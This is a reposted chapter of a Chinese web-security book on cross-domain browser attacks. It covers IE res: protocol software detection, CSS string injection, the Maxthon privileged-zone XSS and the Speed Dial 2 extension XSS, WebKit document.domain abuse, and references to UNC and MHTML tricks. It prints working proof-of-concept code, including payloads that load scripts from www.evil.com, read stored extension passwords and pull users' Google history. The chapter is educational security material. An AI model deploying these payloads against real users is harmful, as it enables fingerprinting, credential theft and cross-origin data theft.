返回介绍

7.6 一些跨域操作技术

发布于 2024-01-20 15:41:03 字数 11481 浏览 0 评论 0 收藏 0

这里介绍的几乎都是由于浏览器相关缺陷而导致的跨域风险,有些已经修补,但是比较有代表性,可以举一反三。有的跨域技术带来的风险非常大,是一种很难得的漏洞。

7.6.1 IE res:协议跨域

“知道创宇”安全研究团队在2008年的xKungFoo上公布了很多独立研究的网马技巧,其中就包括IE res:协议跨域探测本地域是否存在目标软件的POC,这类技巧在公布前实际上存在已久,但并没有被广泛提及。2011年,Google Gmail被攻击事件就用到了这个POC,代码如下:

<script>
////////////////////////////////////////////////////////
//Name: img标签远程域检测本地域软件是否存在poc
//Description: IE浏览器都有效
//Author: Knownsec Team
//Date: 2008-11-03
////////////////////////////////////////////////////////
knownImg = {}
knownImg.resList = [ 
  //数组中填写本地软件id值与图片地址值(res协议或file协议)
  {id: 'Avira', res: 'res://C:\\Program%20Files\\Avira\\AntiVir%20Personal Edition%20Classic\\setup.dll/#2/#132'},
  {id: 'baidu', res: 'res://C:\\Program%20Files\\baidu\\Baidu%20Hi\\BaiduHi.exe/#2/#152'},
  {id: 'Super Rabbit', res: 'res://C:\\Program%20Files\\Super%20Rabbit\\MagicSet\\timedate.exe/#2/BBNO'},
  {id: '365Menshen', res: 'res://C:\\Program%20Files\\365Menshen\\menshen.exe/#2/#227'},
  {id: 'quicktime', res: 'res://c:\\program%20files\\quicktime\\quicktimeplayer.exe/#2/#403'}
];
knownImg.ok_resList = new Array(); //确认软件存在时,填入此数组
knownImg.tmp_resList = new Array();
knownImg.checkSoft = function(){ 
  //检测函数
  if (document.all){
    x = new Array();
    for (i = 0; i < knownImg.resList.length; i++){
      x[i] = new Image();
      x[i].src = "";
      knownImg.ok_resList.push(knownImg.resList[i].id);
      //将resList里的id值依次扔进ok_resList数组中
      x[i].onload = function(){
         //alert(knownImg.resList[i].id + ': return true');
      }
      x[i].onerror = function(){
        //alert(knownImg.resList[i].id + ': return false');
        knownImg.ok_resList.pop(); //软件不存在时,从ok_resList数组弹出对应的id值
      }
      x[i].src = knownImg.resList[i].res;
    }
  }
}
knownImg.checkSoft();
alert(knownImg.ok_resList); //弹出
document.write('你的系统中存在以下软件:<br />'+knownImg.ok_resList.join('<br />'));
</script>

7.6.2 CSS String Injection跨域

IE下出现过一个CSS解析的跨域漏洞,罪魁祸首其实是CSS的高容错性和一个便捷的DOM操作接口,通过它们可以直接获取目标CSS区域的内容。

参考下面(《白帽子讲Web安全》的作者吴翰清)给出的样例,www.a.com/test.html代码如下:

<body>
{}body{font-family:
aaaaaaaaaaaaaa
bbbbbbbbbbbbbbbb
</body>

攻击者页面www.b.com/test2.html的代码如下:

<style>
@import url("http://www.a.com/test.html");
</style>
<script>
setTimeout(function(){
  var t = document.body.currentStyle.fontFamily;
  alert(t);
},2000);
</script>

被攻击者访问攻击者的页面时,弹出信息如图7-7所示。

图7-7 CSS String Injection效果

这是一个非常有趣的跨域技巧,@import方式导入外域CSS文件本身是一个正常的行为,然后IE通过document.body.currentStyle.fontFamily方式访问目标样式的font-family属性,它的值恰好是font-family之后的所有内容,这是CSS高容错性导致的(这在2.6.1节中已提过)。

7.6.3 浏览器特权区域风险

浏览器为了支持更多方便的功能,往往需要有一些特权区域存在,这些特权是相对浏览器Inter-net域来说的,比如,扩展、插件能够和本地系统打交道,一些功能页面也具备和本地系统等打交道的能力。

如果我们的XSS能够跨到这些特权区域里,那么就能够做很多更大权限的操作,这个过程叫做Cross Zone Scripting或Cross Context Script-ing(简称XCS)。

举个经典的例子,傲游浏览器3存在远程命令执行漏洞,原因是因为傲游浏览器默认主页i.max-thon.cn是一个特权页面,且存在XSS可以直接控制该特权页面进行任意操作,我们按F12键打开开发者工具,可以看到一些特权API,如图7-8所示。

在图7-8中,有两大全局对象包含丰富的API:maxthon与mxapi。下面看看maxthon对象,如maxthon.program.Program.launch API可以这样使用:

maxthon.program.Program.launch("calc.exe","C:\\windows\\system32\\");

执行这条语句时,可以打开一个计算器。再如mxapi.favorites.list API,可以获取收藏夹里保存的链接:

mxapi.favorites.list();

有这些特权API存在,同时我们还发现了i.maxthon.cn上的XSS:

http://api.i.maxthon.cn/feedback/feed-back.php?callback=%3Cscript%20src=http://www.evil. com/exp.js%3E%3C/script%3E

图7-8 maxthon特权API

请求时,页面输出:

<script src=http://www.evil.com/exp.js></script>({"code":1,"message":"\u53cd
\u9988\u5185\u5bb9\u4e3a\u7a7a"})

exp.js的代码如下:

maxthon.program.Program.launch("calc.exe","C:\\windows\\system32\\");

我们可以将这个XSS链接以iframe形式进入我们控制的网页中,当触发XSS时,就执行了系统命令,如图7-9所示。

图7-9 maxthon远程命令执行0day截图

7.6.4 浏览器扩展风险

浏览器为了丰富自身的功能,允许第三方提供各类插件或扩展,但这些扩展的权限如果没有控制好,就会带来很严重的后果。举一个经典的例子:Chrome扩展带来的安全风险,Chrome浏览器Speed Dial 2(快速拨号)应用存在DOM XSS,通过这个XSS可以越权操作,导致各种严重的信息泄漏问题。

Speed Dial 2会将用户访问的链接信息等存储在localStorage中,其中有一个关键字是_closed_tabs,这个关键字的值存储了最近关闭的链接信息,如:url、title,其中title如果存在恶意脚本,就会触发DOM XSS。

比如,访问speeddial2.html文件,代码如下:

<title>123'"><script>alert(1)</script>456</title>
speed dail 2 localStorage dom xss

然后关闭,当新建标签时,会看到弹出数字1,如图7-10所示。

图7-10 Speed Dial 2 XSS

按F12键打开开发人员工具,查看Resources→Local Storage,如图7-11所示。

图7-11 Chrome F12查看Local Storage

可以看到title的值是:

123'\"><script>alert(1)</script>456

上面这个title值由下面这个js文件来执行:

chrome-extension://jpfpebmajhhopeonhlcgidhclcccjcik/js_system/sidebar.history.js

代码片段如下:

var closedTabs = JSON.parse(localStorage["_closed_tabs"]);
if (!closedTabs) return false;
for (var i=closedTabs.length-1; i >= 0; i--) 
{
  var li = document.createElement('li');
  var a = document.createElement('a');
  a.setAttribute('href',closedTabs[i].url);
  a.innerHTML = ( closedTabs[i].title ? '<b>'+closedTabs[i].title+'</b>' : '<b>No title</b>' ) + '<br />';
  li.style.backgroundImage = 'url(chrome://favicon/'+ closedTabs[i].url+')';
  li.setAttribute('class','openurl');
  li.setAttribute('rel',closedTabs[i].url);
  li.appendChild(a);
  $('#history ul#history_items').append(li);
};

就这样触发了DOM XSS。触发DOM XSS后,可进行以下操作。

1)偷取用户Speed Dial 2的账户和密码

这个账户和密码用于同步Speed Dial 2中的各种信息,如:拨号网址、分组信息、设置等。当开启了同步功能后,Speed Dial 2的账户和密码也会存储一份到localStorage中,可以通过下面的方法得到:

localStorage.getItem('options.sync.username');
localStorage.getItem('options.sync.password');

在类似下面这样的安装目录下可以找到这个扩展应用的源文件:

C:\Users\xxx\AppData\Local\Google\Chrome\UserData\Default\Extensions\ jpf-pebmajhhopeonhlcgidhclcccjcik\1.6.0.8_0

我们查看manifest.json配置文件可以看到这个扩展的权限:

"permissions": [ "bookmarks", "tabs", "history", "management", 
"unlimitedStorage", "chrome://favicon/", "http://*/", "https:
//*/", "contextMenus", "notifications" ],

这是一种特别不安全的授权,利用前面那个DOM XSS可以进行许多危险的操作,比如获取所有的书签,简单的代码如下:

chrome.bookmarks.getTree(function(o){
  console.log(o[0].children[0].children[2].children[1].url)
})

2)进行跨域请求,比如请求Google账号的网络历史记录

var xhr = new XMLHttpRequest();
xhr.open("GET", "https://www.google.com/history/", true);
// 请求Google搜索的网络历史记录
xhr.onreadystatechange = function() {
  if (xhr.readyState == 4) {
    document.write(xhr.responseText);
  }
}
xhr.send();

这样的跨域请求危害非常大,在满足攻击的场景下,可以盗取、篡改目标用户任意网站的数据。实际上,这个插件的权限不应该设置这么大。

7.6.5 跨子域:document.domain技巧

跨子域:document domain技巧非常好用,属于浏览器的性质。现在很多网站把不同的子业务放到不同的子域下,比如:

www.foo.com
app.foo.com
blog.foo.com
message.foo.com

但是这些子域下总会存在一个类似proxy.html的文件,这个文件有如下代码:

<script>document.domain="foo.com";</script>

有一个合法的性质是:这个页面可以设置doc-ument.domain为当前子域或比当前子域更高级的域。一般顶级就到了根域,如果设置为其他域,浏览器就会报权限错误。

根据这个性质,我们做了一个测试样本,这个测试样例利用WebKit内核浏览器的一个缺陷(由sog1发现),导致顶级的域是域名后缀,比如foo.com的域名后缀是com。

以下样例在Chrome下访问,测试样本有4个文件:readme.txt、attack.htm、poc.js和proxy.htm。将这4个文件放到Web服务的/proxy/目录下,readme.txt的内容如下:

设置hosts:

127.0.0.1 www.evil.com
127.0.0.1 user.proxy.com

原理:

设置:document.domain='com';

在webkit内核下,任意跨了。

访问http://www.evil.com/proxy/attack.htm

attack.htm的代码如下:

<html>
<head>
<meta http-equiv="Content-Type" 
content="text/html; charset=UTF-8" />
</head>
<body></body>
<script>
document.domain="com"; // 设置域为WebKit认为的顶级域
function inj_iframe(src,onload){
  /*注入框架*/
  var o = document.createElement("iframe");
  o.src = src;
  o.width = o.height = 300;
  o.id="proxy";
  if(onload) o.onload = onload; // iframe加载完成后执行onload函数
  document.getElementsByTagName("body")[0].appendChild(o);
  return o;
}
function inject(){
  var d = document.getElementById("proxy").contentDocument || 
      document. getElementById("proxy").contentWindow.document
  //d.write('123');
  var x = d.createElement("SCRIPT");
  x.src ="http://www.evil.com/proxy/poc.js";  // 注入poc.js文件
  x.defer = true;
  d.getElementsByTagName("HEAD")[0].appendChild(x);
}
// iframe方式请求proxy.htm文件,来自user.proxy.com域
var o = inj_iframe("http://user.proxy.com/proxy/proxy.htm",inject);
</script>
</html>

proxy.htm的代码如下:

<html>
  <head>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
    <script>
      getTransport = function()
      {
        var xmlHttp;
        if (window.ActiveXObject)
        {
          xmlHttp = new ActiveXObject('Microsoft.XMLHTTP');
      }
        else if (window.XMLHttpRequest)
        {
          xmlHttp = new XMLHttpRequest();
        }
        return xmlHttp;
      };
      document.domain="com";
      // 主要是这里,user.proxy.com的proxy.htm也将自己的域设置为com
      alert("proxy.htm: "+document.domain);
    </script>
  </head>
  <body>
    i am proxy.htm
  </body>
</html>

当attack.htm通过iframe方式载入不同域的proxy.htm后,由于document.domain值是一样的,都是com。对浏览器来说,这其实就是合法的,不受同源策略限制后,就可以成功地往proxy.htm上下文注入poc.js文件:

alert(document.domain+" | poc.js");
xhr = getTransport();
function req(method,src,argv){
  xhr.open(method,src,false);
  if(method=="POST")
    xhr.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
  xhr.send(argv);
  return xhr.responseText;
}
// 因在proxy.htm上下文执行这段代码,那么请求proxy.htm所在域的任何内容也就变得合法了
x = req("GET","http://user.proxy.com/proxy/proxy.htm");
alert(x); // 弹出proxy.htm的内容

最后,弹出proxy.htm内容的效果如图7-12所示。

图7-12 WebKit下跨子域效果

这种跨子域的问题在Web 2.0网站上几乎是常态,有的网站的设置不通过proxy.html文件,而是在任意页面都嵌入公共的js文件,在这个js文件里设置document.domain为顶级域,这样的做法给XSS攻击带来了巨大便利,即只要在任意一个子域下找到XSS漏洞,都能危害到目标页面。

7.6.6 更多经典的跨域索引

1. 利用UNC“跨域”

superhei写的一篇文章《走向本地的邪恶之路》,文章地址是:

http://www.80vul.com/webzine_0x05/0x06 走向本地的邪恶之路.html

大意是通过Internet域(http协议)的代码,比如<iframe>标签利用file协议调用本地的XSS漏洞页面,并通过这个本地XSS执行任意的JavaScript代码,由于是file协议,权限会更大,比如,利用AJAX读取本地文件。

测试中发现IE可以通过UNC方式(“统一命名约定”地址用于确定保存在网络服务器上的文件位置)访问本地文件,如:

file:////127.0.0.1/c$/

由于是UNC方式,浏览器以为这是Internet域,就允许访问,这样实际上就跨协议了(http协议跨到file协议)。如果本地文件存在XSS漏洞,就可以被调用触发。关于这部分的详情,可以参superhei写的这篇文章。

2. mhtml:协议跨域

暗夜潜风写的《IE下MHTML协议带来的跨域危害》也是跨域攻击的经典,文章地址是:

http://www.80vul.com/webzine_0x05/0x05 IE下MHTML协议带来的跨域危害.html

这篇文章已写得足够详细,大家可以参考其中的内容,并参考superhei之后发表的:结合mhtml跨域漏洞的各种利用技巧《Hacking with mhtmlprotocol handler》,网址为:

http://www.80vul.com/mhtml/Hacking with mhtml protocol handler.txt

这个漏洞已经被修补,如果现在还要测试,可以安装WinXP虚拟机,在IE 6环境下直接测试即可。

如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

扫码二维码加入Web技术交流群

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。
列表为空,暂无数据
    我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。
    原文